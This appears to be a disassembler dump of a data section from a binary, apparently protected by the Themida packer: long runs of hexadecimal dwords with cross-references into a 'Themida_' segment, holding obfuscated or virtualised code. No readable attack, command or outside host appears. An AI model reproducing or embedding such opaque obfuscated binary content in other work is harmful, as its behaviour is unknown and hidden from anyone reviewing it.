		dd 244C5F92h, 77AE3FA2h, 21AE561Eh, 0E2F0757Bh,	5DADCE3h
		dd 5EAD4DAh, 21AE426Bh,	0E2F813B7h, 3A65D04Dh, 64F0EC8Bh
		dd 7866679Eh, 0A072E7B5h, 85587189h, 21C42407h,	21ADBD3Fh
		dd 798E55B7h, 65270D18h, 652F51C9h, 21BA51D2h, 71EE557Bh
		dd 2B47EA7Eh, 0A1AE55DEh, 879ED76Fh, 0C18C182Dh, 801BAAA1h
		dd 4BABB7FBh, 224605F6h, 1AE557Bh, 0A8F696E5h, 0A0AA719Ah
		dd 3AAA712Bh, 61AE55B7h, 9229968Bh, 0E9C99BE9h,	9425ED98h
		dd 244C4C12h, 0AC56DEDBh, 0C4D4345Bh, 77AE3F6Ah, 21AE565Fh
		dd 0E2F075DBh, 5DADCB3h, 5EAD4F2h, 21AE487Fh, 0E2F813BDh
		dd 56D73398h, 7933D748h, 7BF824ECh, 94258524h, 244C7ECCh
		dd 2977C07Dh, 0E12D5099h, 72AE3F99h, 21AE5636h,	0E2F5756Fh
		dd 5F2DCECh, 5EAD4DFh, 21AE40E9h, 0E2FD16F6h, 0A0C8A976h
		dd 0A8C35C72h, 0C3A66C5Bh, 72AE3F6Ah, 21AE565Fh, 0E2F575DBh
		dd 5F2DCB6h, 5EAD4F2h, 21AE487Fh, 0E2FD16BDh, 8328415h
		dd 0E2640C51h, 0A425B834h, 244C5522h, 0AA60EAE2h, 0C3A4D06Bh
		dd 948D167Eh, 244C6428h, 0A4274E55h, 244C52E6h,	21C44E3Ch
		dd 21ADBD8Bh, 798E55EDh, 65270D35h, 652F515Fh, 21B55199h
		dd 71EE55DEh, 73B6CAACh, 233F95BCh, 0A8D6E0D2h,	0C3B8E078h
		dd 706EAF3h, 3A252827h,	0C9F855D7h, 21AE55DDh, 7F6D0B4Fh
		dd 258A213Eh, 258A115Ah, 21AE55F0h, 786D03B0h, 0AE0D37AAh
		dd 63790E7Bh, 0CE2F0558h, 571EEF95h, 0C97666EEh, 21AE55C8h
		dd 76224077h, 0FABDD399h, 4F7EB9E8h, 0FB1893ADh, 985BFA4Ah
		dd 43B471B2h, 8833DCE9h, 0C9ABB7F1h, 21AE55E8h,	8AE0D45Ch
		dd 0A4680FC5h, 244C5FF4h, 0FB78D499h, 0A8ECFE6Ch, 0C3B3B832h
		dd 21AABDDEh, 0FC0755EDh, 0A0A1E228h, 21AE557Eh, 4B284C04h
		dd 0C9CE05FBh, 21AE557Fh, 6A69D1E7h, 1CD636D7h,	62CF610Ch
		dd 88CD5E85h, 21AE5B92h, 0C6AB60BDh, 0C85FB7A8h, 0FD4489CCh
		dd 797E3414h, 0E6FDEFBDh, 5EADE8Ch, 0AAAEDEF2h,	5EADCB1h
		dd 7910E7B9h, 265E9C5Fh, 945175CAh, 244C4316h, 0C9FD55B1h
		dd 21AE55EEh, 7A6D0ED6h, 258A09F2h, 258A113Ch, 21AE55CAh
		dd 7B6D062Ch, 0CAD42908h, 402BD8D3h, 2EABB097h,	21AE5373h
		dd 0A01BDE7Bh, 2EABB7B7h, 21AE4354h, 21A4BD6Fh,	5BF255B7h
		dd 4032DCECh, 9A05C476h, 0C1E79377h, 0DEF702B2h, 0A427AD6Dh
		dd 244C79B7h, 0C9F85505h, 21AE55B4h, 7F6D0BFBh,	258A2164h
		dd 258A1177h, 21AE5566h, 136D03FBh, 5F0A403Ch, 8FAE29E9h
		dd 0D22533E8h, 0C9AEDE9Bh, 21AE55E3h, 6904348Bh, 0FA404A73h
		dd 1879ED51h, 96A12DE3h, 21250FA6h, 0C9FD55DDh,	21AE55D8h
		dd 7A6D0ECDh, 258A097Fh, 258A11FAh, 21AE55A8h, 776D069Dh
		dd 98C8A0ABh, 0A4279F50h, 244C4D5Eh, 7E70D48Bh,	215DBC77h
		dd 0BC27557Bh, 244C6704h, 21AE5D37h, 2E47E06Fh,	2BB70C48h
		dd 962BD886h, 47ABB056h, 3DED9C77h, 34D1EA1Dh, 0A03E052Dh
		dd 0F3CAD931h, 0D83BAA47h, 0AABB7A1h, 0C38D0066h, 0AC13DCE8h
		dd 0ACABB7C4h, 0C415E8E6h, 73AE3FB8h, 21AE5636h, 0E2F4756Fh
		dd 5FADCEDh, 5EAD4DFh, 21AE40E9h, 0E2FC17F6h, 0C83D0CEDh
		dd 21AE55A9h, 4F549C2h,	2AFBADF6h, 8CBF322Ah, 68E09A57h
		dd 0EB2AA051h, 0B200E4A6h, 3707C8F2h, 9B3E505Fh, 6D02E700h
		dd 0B103E73Fh, 0C9FF55DDh, 21AE55D8h, 786D0CCDh, 258A197Fh
		dd 258A11FAh, 21AE55A8h, 0DF6D049Fh, 701B664Ch,	0DEABB793h
		dd 0C39E804Eh, 71AE3FE8h, 21AE561Eh, 0E2F6757Bh, 5EADCE5h
		dd 5EAD4DAh, 21AE416Bh,	0E2FE15B7h, 1023DC16h, 0A8ABB7F6h
		dd 0C3B8A06Bh, 182BDC7Eh, 0A8ABB7B5h, 0C3A9284Bh, 0B427026Ah
		dd 244C65C6h, 682B9384h, 72ABB7E7h, 0C9FE559Ch,	21AE5578h
		dd 796D0D9Dh, 258A1157h, 258A11EEh, 21AE55A1h, 0B06D059Bh
		dd 0A4278B77h, 244C51CFh, 0A856EA13h, 21A5BC13h, 9EEC55DEh
		dd 0CCD9DAD5h, 2FC8800Dh, 59AD430h, 25A0292Dh, 327D87Fh
		dd 94515099h, 244C431Ch, 0C9FB55B4h, 21AE556Ch,	7C6D0897h
		dd 258A3952h, 258A116Ch, 21AE55ECh, 5C6D003Eh, 0A215DAF3h
		dd 9425A4FBh, 244C5852h, 21A8D3B8h, 0B49F55DBh,	244C4F4Ch
		dd 5BCFD07Bh, 0A487509Eh, 244C5190h, 5980EAB8h,	0A4278590h
		dd 244C415Eh, 21AE5932h, 7771AFEDh, 73DA2668h, 4F0CE754h
		dd 682B932Fh, 66ABB7D4h, 6FC603DEh, 47251D94h, 0A018ED61h
		dd 0D3EC71E9h, 945143DFh, 244C43DAh, 0C9FC55D7h, 21AE55DDh
		dd 7B6D0F4Fh, 258A013Eh, 258A115Ah, 21AE55F9h, 0C16D07B4h
		dd 0F607EF1Dh, 5BCFD030h, 21C4503Bh, 21ADBD38h,	7E8E55B7h
		dd 5D270A18h, 652F51C9h, 21B751D2h, 76E9557Bh, 0DFA3D47Eh
		dd 0DE485CDDh, 0A860DEBFh, 0C3858432h, 0E013DCDEh, 0E7ABB7CFh
		dd 0C3A41C73h, 9EC8067Eh, 0CEC6F854h, 2E8D5A6Fh, 21AE51EFh
		dd 0DB2505B7h, 5AAD482h, 5787F84Ch, 0C9FB559Ch,	21AE5578h
		dd 7C6D089Dh, 258A3957h, 258A11EEh, 21AE55A1h, 156D009Eh
		dd 94511C45h, 244C4357h, 0C9F85511h, 21AE55BEh,	7F6D0BFEh
		dd 258A21E6h, 258A1136h, 21AE55CCh, 0E46D03ABh,	10319199h
		dd 0C3B7ACC6h, 0D81133B8h, 402BD883h, 0C9ABB015h, 21AE55A4h
		dd 9B3F7DA5h, 0E9931C8Ch, 745245D2h, 5047EA7Ch,	0A818EE49h
		dd 0C383D44Bh, 0F1510C6Ah, 0C9FD55DDh, 21AE55D8h, 7A6D0ECDh
		dd 258A097Fh, 258A11FAh, 21AE55A0h, 5A6D069Dh, 2E39587Fh
		dd 5170696Ah, 9AC83596h, 0A8CEC8C2h, 0C3836073h, 407ADF7Eh
		dd 0A41BDEDCh, 0A8ABB7CBh, 0C3A540EAh, 71AE3FB2h, 21AE5633h
		dd 0E2F675EDh, 5EADCAEh, 5EAD47Fh, 21AE40B9h, 0E2FE15DEh
		dd 0BC27723Bh, 244C5FF6h, 2BE7D01Dh, 4BF9500Fh,	224600F6h
		dd 1AE557Bh, 0A8F396E0h, 0A0AA71B2h, 35AA712Bh,	64AE55B7h
		dd 49EB968Eh, 0A59844D4h, 2DD8774Ch, 59AD403h, 359C1682h
		dd 0C9FF55B4h, 21AE556Ch, 786D0C97h, 258A1952h,	258A116Ch
		dd 21AE55E1h, 7D6D043Ah, 932F19C5h, 9097EA22h, 94514110h
		dd 244C4316h, 3FE3E852h, 0A423500Fh, 244B2F97h,	0A9FE8F0h
		dd 0F151505Fh, 0C9FC55B4h, 21AE556Ch, 7B6D0F97h, 258A0152h
		dd 258A116Ch, 21AE55E0h, 0AB6D0739h, 0A4272BCAh, 244C4D43h
		dd 0C9FF5505h, 21AE55B4h, 786D0CFBh, 258A1964h,	258A1177h
		dd 21AE5562h, 0A46D04FCh, 81115D36h, 6813DEE6h,	0E7ABB7A3h
		dd 0C3A41C5Eh, 20CE16E8h, 0C382E073h, 98C8347Eh, 13C634E9h
		dd 2E19E3E0h, 21AE56EEh, 0EE2533B7h, 3B8A615Ah,	2EA573A3h
		dd 21AE5673h, 0A46BD57Bh, 370FE042h, 21C4503Ch,	21ADBD3Eh
		dd 788E55B7h, 6D270C18h, 652F51C9h, 21B951D2h, 70EF557Bh
		dd 51097B7Eh, 0B7B2EAA2h, 0A4234099h, 244B2FD6h, 0C9FB55B1h
		dd 21AE55EEh, 7C6D08D6h, 258A39F2h, 258A113Ch, 21AE55C8h
		dd 856D002Ah, 2F478378h, 7AAE55DBh, 0B5A861BDh,	187667FDh
		dd 32D455B3h, 4B7EAAF2h, 224602DEh, 1AE556Fh, 0A8F196E8h
		dd 0A0AA71A7h, 3CAA71A9h, 66AE55F6h, 859F962Ch,	650EE7h
		dd 43478B19h, 376BD0E6h, 0A0C85055h, 0AC953405h, 0C415F868h
		dd 70AE3FF3h, 21AE5693h, 0E2F775BDh, 5E2DC87h, 5EAD46Bh
		dd 21AE41B3h, 0E2FF14DBh
		dd 9F57E7FDh, 160A4D41h, 531033EBh, 274605A4h, 0D3AE55DEh
		dd 71AEA93h, 0EA110597h, 7FCF5750h, 0D225C5B3h,	21AE5B1Eh
		dd 5C222E7Bh, 6D567FFBh, 0C9851BDFh, 0C9C7B711h, 21AE55A4h
dword_52A8B0	dd 0ACBC5F77h, 0AE98372Fh, 32E55945h, 0A441035h, 26ABFC9h
					; DATA XREF: Themida_:004EEA3Co
		dd 0C3A20C4Bh, 0DEF00A6Ah, 0C3B8AC22h, 0F82F33DEh, 0F9254BAFh
		dd 3A73D596h, 0D8FE052h, 0ACCF505Fh, 0C415F45Bh, 77AE3F6Ah
		dd 21AE565Fh, 0E2F075DBh, 5DADCB3h, 5EAD4F2h, 21AE4D7Fh
		dd 0E2F813BDh, 22A01B24h, 0EB195AF6h, 2C2BE83Eh, 0A8FE5039h
		dd 21C471E9h, 21ADBDA7h, 788E557Bh, 6D270C7Eh, 652F51FAh
		dd 21B5514Bh, 70EF55B7h, 0C9D85818h, 314286EEh,	0AAC8C6A2h
		dd 0AA3D05AAh, 0C3A01008h, 0F43BAADBh, 0A0ABB75Fh, 2A96F476h
		dd 2BDCE8h, 4BABB7FBh, 224607F6h, 1AE557Bh, 0A8F496E7h
		dd 0A0AA718Ah, 37AA712Bh, 63AE55B7h, 232C9689h,	24205A31h
		dd 47AE55F6h, 0AE4F94FAh, 21AE5F55h, 0BFC651DEh, 187116C2h
		dd 0C840DBC2h, 21AE55D4h, 0E9E7073Bh, 594BCB46h, 25A42324h
		dd 7F60E1BAh, 8FD019h, 21A1508Dh, 0AAC855B7h, 232E5A20h
		dd 0AAAE55EDh, 3BAA26h,	4BABB76Dh, 224603BDh, 1AE55DEh
		dd 0A8F09631h, 0A0AA71C3h, 38AA719Fh, 67AE55EDh, 0E83296A0h
		dd 20222A88h, 365FD034h, 21C4503Ch, 21ADBD3Ch, 7A8E55B7h
		dd 7D270E18h, 652F51C9h, 21BA51D2h, 72ED557Bh, 0AA56D37Eh
		dd 0C382C05Bh, 0B733D86Ah, 0A8ABB07Ah, 9C235498h, 244C5848h
		dd 0ECDEE07Bh, 1217509Eh, 0D2AE55BDh, 999DBE7Ah, 21AE556Fh
		dd 22DA95BCh, 0AAAE4D19h, 72A271A9h, 21AE551Eh,	0E22F0E7Bh
		dd 21AE55AAh, 318A0957h, 358A11E6h, 8199EDECh, 0C1515540h
		dd 258A1166h, 0AC87B509h, 244C55A2h, 9840DFDCh,	7CDCE37Bh
		dd 9A0FE8E2h, 0AC235052h, 244B9816h, 7056055h, 0C42B666Eh
		dd 0AABB763h, 23479472h, 8B21C435h, 6F21ADBDh, 747C8E55h
		dd 0FF4D2708h, 0C9652F51h, 0F621BB51h, 0F305E983h, 6AD98BA4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 7671C357h, 71306304h, 0C53D341Dh,	7B77D681h
		dd 8BF91D0Fh, 0E2215D8Dh, 65E905h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 9E9C70C3h
		dd 0F51B97B9h, 11E9h, 24438400h, 8684E1ADh, 6C1E77AAh
		dd 18154EE3h, 6A6139C8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 99BC355h, 0E9C392CEh
		dd 7, 246C1923h, 8BD8E904h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 8C5A9722h
		dd 49B85E92h, 0BD83F576h, 5E21EA9h, 83097500h, 0E21805BDh
		dd 19740005h, 0C08B5350h, 4B9B8h, 0D5858900h, 8D05E21Dh
		dd 0E4B3619Dh, 5BD3FF05h, 5BD8358h, 5E218h, 53501774h
		dd 4B9B8h, 0D5858900h, 8D05E21Dh, 0E4B0029Dh, 5BD3FF05h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 3C76F934h, 0F1AC7B89h, 0FE97833h, 78000000h
		dd 0B470EF9Ah, 0D42C7131h, 27F09600h, 6A9FA5h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 97ECA8C3h, 18E0F74h,	0F8000000h, 0F9C08BF9h,	0C18B40F5h
		dd 10E8h, 7952400h, 6BA4707Fh, 9447E507h, 9685039Ah, 0A9B58B23h
		dd 5F05E226h, 4EBh, 12E90000h, 0B8000000h, 0EBF114DEh
		dd 0AA096F40h, 222BB820h, 36B51EDEh, 56006A38h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 248FD1DCh
		dd 19B529F9h, 0BF05E20Bh, 6A8BC8D2h, 0E91858Dh,	6A05E2h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 9C518DC3h, 0C6D74FA9h, 0BE013053h, 7459F697h, 0DE8h
		dd 28D0D600h, 0FAEA6AE3h, 0F1469264h, 8060AC85h, 0B52392C0h
		dd 5E22139h, 8B505F61h,	240489F0h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 59C35040h, 0B58B168Bh, 0F0C7F311h
		dd 0F88B668Eh, 5E8006Ah, 3F000000h, 5521C9CAh, 7E9h, 195ED500h
		dd 0AECBA2D1h, 6A006A5Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0A5C3C352h,	0BB016363h
		dd 0DE81660Dh, 858DB71Fh, 5E5D1E5h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0A6C35646h,	0BD3E25AEh, 81B58Bh
		dd 0C08305E2h, 12E905h,	91720000h, 23E1B23Ch, 50801526h
		dd 0DA82D2E3h, 69F3D338h, 58F0F50h, 0BE000000h,	66480B08h
		dd 8B240489h, 0E232FDBDh, 0DE805h, 95E80000h, 6E8A3h, 0A03D31C8h
		dd 8B007A67h, 0E20B6DB5h, 6A5F05h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 89C35141h, 8166A9EFh, 6A3030CFh
		dd 6820F00h, 8B000000h,	0E22985B5h, 2D95FF05h, 6A05E21Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 8FAEC351h, 174D811Bh, 0D180603Eh,	0C1B58996h
		dd 6105E20Bh, 9D809D8Dh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FFDC71C3h, 50006AD3h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 54581040h, 0BE1C69B2h, 2AFDDD3Eh, 232985FFh,	6A05E2h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0C747DEC3h, 0F541A94h, 0F89h, 0AE900h, 54B40000h, 802B67Eh
		dd 0F8CDB179h, 6CAE9h, 0E800h, 815D0000h, 0E5D1EFEDh, 29BD8905h
		dd 8105E22Dh, 0E22121BDh, 7D005h, 89860F00h, 66000001h
		dd 9D8BF78Bh, 5E2218Dh,	1755B523h, 958905E2h, 5E21BA9h
		dd 100E381h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 858BC6C3h, 5E444AAEh, 0FDB0B3Ah
		dd 0F085h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 1B71863Dh, 2D2505BFh, 0EE931h, 5E610000h
		dd 0C959CFCDh, 0A86AE916h, 9317482Fh, 0CF7FBD83h, 0F0005E5h
		dd 3184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0E9DA5D4Ch, 0B1858946h, 0E905E209h
		dd 91h,	751B503h, 85C705E2h, 5E5CF7Fh, 1, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 0C1C35141h, 10F7813Fh
		dd 15CEF41h, 0E224A5B5h, 53E905h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 234465C3h
		dd 7F5403DBh, 13E96067h, 6E000000h, 8FC45F56h, 1B8ED8D1h
		dd 507625B6h, 95EB6459h, 8D890DC4h, 5E20D11h, 7F85C761h
		dd 5E5CFh, 8B000000h, 0E2331DB5h, 8D9D8D05h, 6A05E221h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0FF3C350h, 0B58BF1B7h, 5E22AC9h, 0FEFF2381h
		dd 860FFFFFh, 0Ch, 5E960h, 5DE80000h, 6170FA1Eh, 6ADB8C66h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0E321C355h, 0DD1EF6ADh, 0FE8B1BF5h, 0F04C3F6h
		dd 3D84h, 0FF5E5000h, 0E2162195h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0FA8B4DA1h
		dd 24048950h, 68C0Fh, 0CE810000h
		dd 74D41F47h, 70D8D31h,	0D3E905E2h, 0F9000003h,	0BF0F00B0h
		dd 0F70E6F2h, 687h, 0BDB58B00h,	0E405E20Ah, 53006A71h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0E5AF4421h, 0F0BA7BFh, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8B669FC3h, 6BAFEh, 0B58B0000h
		dd 5E20D8Dh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 4D88FDC3h, 88AB5018h, 0E8C1F6DBh
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0ED53F94Bh, 5E97Eh, 0B2910000h, 66DB84E4h
		dd 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0C681EBC3h, 10295DBh, 1BA98D89h, 0D82B05E2h
		dd 19059D89h, 669305E2h, 8B50F18Bh, 0BD8B93FEh,	5E23259h
		dd 2121B5FFh, 0BD3105E2h, 5E21A21h, 0FFF9BF0Fh,	0E20AB995h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 7DD447A5h, 6A00B0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 6E927CC3h, 8817F742h
		dd 0E65FFC57h, 3DBD8B70h, 0E405E219h, 57006A71h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 613C1A9Fh, 250830Fh,	0BD890000h, 5E2090Dh, 6AD8B60Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 3EC6C350h, 6BAD8h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 38263CC3h
		dd 4565D40Fh, 0FEE47BFh, 682h, 89953100h, 8B05E208h, 57006AC3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 6C0EE197h, 0C9825BB3h, 0E9C88A60h, 10h, 9933C0DDh, 7E2AD40Eh
		dd 0A18719CCh, 6A6CD7F5h, 4E8C161h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 18C35141h, 0C11BCF9Fh, 2B602675h
		dd 0E2109195h, 0DDB58B05h, 6105E230h, 6AE2F766h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 13BFC356h, 0BF661D62h, 8166AE48h, 8989BAEFh,	0E22A8985h
		dd 0E9D82B05h, 10h, 86BD9D59h, 2BB5C5F1h, 79305B69h, 9D5F2549h
		dd 15498589h, 665805E2h, 0D82BF78Bh, 128880Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 2EBBCCC3h, 0FB5C94B1h, 7B937A7h, 83000000h, 6A00C1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 49D822C3h, 0E9BD0956h, 3B05E218h, 0CF860FD9h, 66000000h
		dd 0BFF2D681h, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 52D0C356h, 0E8D2E1B3h
		dd 0E6F7819Fh, 911732Ah, 0E217A9BDh, 4C1F605h, 88840Fh
		dd 0FFF90000h, 0E2162195h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0E93EB987h
		dd 0B58BBF82h, 5E22409h, 0C32BF55Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 4BC35747h, 0C6DB529h, 343D05E2h
		dd 0F000008h, 2986h, 2CE900h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0CA84F5C3h
		dd 9D5BD8Bh, 0C08B05E2h, 885B529h, 0C38B05E2h, 1CBFD88Bh
		dd 8B6BE582h, 0E21889BDh, 0C185C705h, 1905E204h, 8B761D3Bh
		dd 0CD9D31C0h, 8105E215h, 0E22121BDh, 7D005h, 0E850F00h
		dd 8B000000h, 2185FFF1h, 8B05E221h, 0E2331DB5h,	21B5FF05h
		dd 6A05E221h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0B9D3C357h, 72C4E4F2h,	33B66D52h
		dd 0E20EA5BDh, 0B995FF05h, 6A05E20Ah, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0BB21C357h
		dd 0B890856Dh, 12345678h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0BAC35040h, 0B58B258Eh, 5E229B5h, 0D8709D8Dh
		dd 46E905E5h, 0E9FFFFF9h, 0Bh, 0CB6A0A6h, 75FB9A9Ch
byte_52B568	db 18h			; DATA XREF: Themida_:00504AF2o
byte_52B569	db 28h,	7Bh, 8Bh	; DATA XREF: Themida_:004EF4B8o
		dd 0C18589C1h, 0EB05E20Ah, 4, 0FA8B6600h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 6DC35141h, 7456B53Eh
		dd 81F1BF0Fh, 3F2800D6h, 91858D3Bh, 5605E20Eh, 66505EF9h
		dd 89AE4FBEh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0EE2329C3h, 8BC65157h, 0E20625BDh
		dd 0F6B70F05h, 6A006Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9D09D9C3h, 5E21639h, 9D89006Ah
		dd 5E21765h, 8830Fh, 81500000h,	82AA3ED7h, 858D5F1Fh, 5E5DA61h
		dd 0AEFBEF9h, 0C0831DEEh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 8390887Ah
		dd 0BD750EA8h, 6820Fh, 0B58B0000h, 5E20509h, 89F18B50h
		dd 8D892404h, 5E21795h,	6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0C803AFC3h, 0BD89E2BAh
		dd 5E22619h, 0F28B006Ah, 1E2D95FFh, 6A05E2h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0A02E48C3h
		dd 9A5BE781h, 9D8D37A0h, 5E59D80h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0ADC35747h,	29D40022h, 0E21EA59Dh
		dd 6AD3FF05h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 22A4C350h, 37410C91h, 677D9F16h
		dd 16A59589h, 85FF05E2h, 5E22329h, 0D97E9h, 0E800h, 815D0000h
		dd 0E5DA6BEDh, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 4F951C56h, 2ABC2803h
		dd 2BFD8529h, 0BD8105E2h, 5E22121h, 7D0h, 11A860Fh, 5F570000h
		dd 23C9B50Bh, 9D8B05E2h, 5E21BF5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 6C35646h, 0ECDB58Bh, 0E38105E2h
		dd 100h, 0BFEBF0Fh, 79850FDBh, 29000000h, 0E20691B5h, 0BEBD8305h
		dd 5E5D8h, 2C840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 190424h, 57470000h, 4B9540C3h, 0E9D5553Ah
		dd 6Bh,	17D99D89h, 85C705E2h, 5E5D8BEh,	1, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 17C35141h, 48F9FEC3h
		dd 6E9h, 1E249E00h, 0E9B740E3h,	2Bh, 0D8BE85C7h, 5E5h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0C240E8C3h, 8D31D557h, 0E21BF59Dh, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 61FF270Ah, 6429B214h, 0A01BD0Bh, 238105E2h, 0FFFFFEFFh
		dd 0E9DB8C66h, 12h, 0D09C22F1h,	0A2061A7Eh, 307B3D7Ah
		dd 0DDBE8459h, 0C3F6EFD5h, 95840F04h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0FD15C353h, 95FFB167h, 5E21621h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 33C35141h, 5899BE70h, 0E95047CBh
		dd 14h,	0E1ED7CC9h, 0B7FAEF44h,	64AAD5D6h, 9D164542h, 83660004h
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0CF91C357h, 4124D77Dh,	0E9BDFE9Fh
		dd 799BD8Bh, 0B58B05E2h, 5E22189h, 457E9h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 0FEDE0264h, 0E9D584EEh, 11h,	3988E994h, 0CEA69C18h
		dd 80859DF1h, 0A706D960h, 6A00B098h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0C38CC351h
		dd 7E8h, 0D8679E00h, 0E03A0CD4h, 8970E65Fh, 0E210E185h
		dd 6A71E405h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0F0EEC357h, 5928F6EFh,	0FFADB8Ch
		dd 38Eh, 0F9B70F00h, 19E98D29h,	0B60F05E2h, 53006AD8h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 3AFBF184h, 81B21CE5h, 5E886h, 98E00000h, 0F8C924DFh
		dd 6BA5Eh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 98E16C3h, 9D89F99Bh, 5E20A61h, 6AC38Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BB452C3h, 0E22C91B5h, 4E8C105h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0F0C35141h,	15BD2B38h, 6605E215h
		dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 2BECCDC3h, 0E21071BDh, 66D82B05h,	938541BFh
		dd 118F0Fh, 0CE90000h, 53000000h, 67F15823h, 0C9EEBDF5h
		dd 508F8CEDh, 6A93F78Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 309C355h, 8913E182h
